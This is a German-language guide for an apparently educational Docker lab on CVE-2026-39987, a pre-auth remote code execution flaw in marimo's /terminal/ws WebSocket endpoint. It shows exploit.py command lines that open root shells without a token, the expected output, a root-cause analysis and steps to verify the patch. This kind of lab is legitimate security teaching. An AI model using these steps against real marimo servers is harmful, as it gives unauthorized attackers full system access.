
# Bildungs-Docker-Lab zur Demonstration von CVE-2026-39987, einer Pre-Auth-RCE über WebSocket-Authentifizierungs-Bypass in marimo, mit Exploit-Skript und Schritten zur Patch-Verifizierung.
Pre-Auth Remote Code Execution durch Terminal-WebSocket-Authentifizierungs-Bypass
Ein pädagogisches Docker-Lab zum Verständnis, zur Reproduktion und zum Patchen dieser kritischen Schwachstelle in marimo.
| Ziel | marimo <= 0.20.4 im edit-Modus mit aktivierter Token-Authentifizierung |
| Angreifer | Jeder Host mit Python 3 und websocket-client |
| Zielsetzung | Erlangen einer interaktiven Root-Shell über /terminal/ws ohne Bereitstellung eines Auth-Tokens |
| Typ | Authentifizierungs-Bypass → Remote Code Execution (RCE) |
| Patch | marimo >= 0.23.0 |
⚠️ Nur für ethische Zwecke: Dieses Lab wurde für Sicherheitsforscher, Entwickler und Studenten entwickelt, um zu verstehen, wie Authentifizierungs-Bypass-Schwachstellen entstehen und wie man sie richtig behebt. Nur in isolierten Umgebungen ausführen.
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
Dateien in diesem Lab:
| Datei | Zweck |
|---|---|
Dockerfile.target | Baut den verwundbaren marimo-Server |
docker-compose.yml |
# Repo klonen
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Lab starten
docker-compose up --build -d
# Exploit ausführen
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Interaktive Shell erhalten
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# Ein Arbeitsverzeichnis erstellen und diese Dateien hineinlegen:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Ziel bauen und starten
docker-compose up --build -d
# Prüfen, ob das Ziel läuft
docker ps
# Sie sollten sehen: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
Was passiert:
0.20.4 (verwundbare Version)edit-Modus mit explizit aktivierter --token-Authentifizierung2718 wird auf Ihren Host freigegebenBevor wir ausnutzen, verifizieren wir, dass das Ziel auf legitimen Endpunkten ordnungsgemäß geschützt ist:
# Versuchen Sie, die Haupt-UI im Browser oder per curl zu öffnen
curl -s http://127.0.0.1:2718/
# Erwartet: Weiterleitung zur Login-Seite oder 401/403 (Token erforderlich)
# Versuchen Sie den Haupt-WebSocket (/ws) ohne Token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Erwartet: Verbindung abgelehnt oder sofort geschlossen wegen fehlender Authentifizierung
Wichtige Beobachtung: Die Hauptanwendungs-Endpunkte erzwingen die Authentifizierung korrekt. Die Schwachstelle liegt in einem sekundären Endpunkt, der übersehen wurde.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
Erwartete Ausgabe:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
Sie erhalten eine $-Eingabeaufforderung, über die Sie beliebige Systembefehle ausführen können:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
Die Schwachstelle existiert aufgrund einer inkonsistenten Authentifizierungsprüfung über WebSocket-Endpunkte hinweg:
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
Authentifizierungs-Middleware (Starlette AuthenticationMiddleware) markiert nicht authentifizierte Verbindungen als UnauthenticatedUser, schließt WebSocket-Verbindungen jedoch nicht automatisch.
Korrekte Endpunkte (z. B. /ws) rufen validate_auth() auf oder verwenden @requires("edit") und lehnen nicht authentifizierte Clients ab.
Verwundbarer Endpunkt (/terminal/ws) prüft nur:
SessionMode.EDIT — stellt sicher, dass der Server im Edit-Modus istsupports_terminal() — stellt sicher, dass die Terminal-Funktion verfügbar istawait websocket.accept() auf, ohne jegliche Auth-Prüfung.Auswirkung: pty.fork() erzeugt eine vollständige PTY-Shell, die als Server-Benutzer läuft (root im Standard-Docker-Image), wodurch der Angreifer vollständigen Systemzugriff erhält.
Der Patch fügt dem /terminal/ws-Endpunkt eine ordnungsgemäße Authentifizierungsvalidierung hinzu und stellt sicher, dass er dem Sicherheitsniveau anderer Endpunkte entspricht.
Aktualisieren Sie das Ziel auf die gepatchte Version und führen Sie den Exploit erneut aus, um die Behebung zu bestätigen:
# Dockerfile.target bearbeiten: marimo==0.20.4 in marimo==0.23.0 ändern
# Oder verwenden: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# Exploit erneut versuchen
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
Erwartet nach dem Patch:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
Die Verbindung wird nun sofort abgelehnt/geschlossen; es wird keine Shell erhalten. ✅
# Container stoppen und entfernen
docker-compose down -v
# Das erstellte Image entfernen
docker rmi cve-lab_target
# Verwaiste Images bereinigen
docker image prune -f
Für Bildungszwecke erstellt. Verantwortungsvoll nutzen. 🔒
| Orchestriert Ziel- und Angreifer-Container |
exploit.py | PoC-Exploit-Skript (Einzelbefehl + interaktiver Modus) |
LAB_GUIDE.md | Diese Anleitung |
| Problem | Lösung |
|---|
Connection refused | Stellen Sie sicher, dass der Container läuft: docker ps und prüfen Sie die Logs mit docker logs marimo-vulnerable |
ModuleNotFoundError: No module named 'websocket' | Installieren Sie den Client: pip install websocket-client |
| Keine Ausgabe vom Exploit | Timeout erhöhen: python exploit.py ... --timeout 20 |
| Container beendet sofort | Dockerfile-Syntax prüfen und sicherstellen, dass das test.py-Notebook korrekt erstellt wird |
| Permission denied | Stellen Sie sicher, dass der Docker-Daemon läuft und Sie über die entsprechenden Berechtigungen verfügen |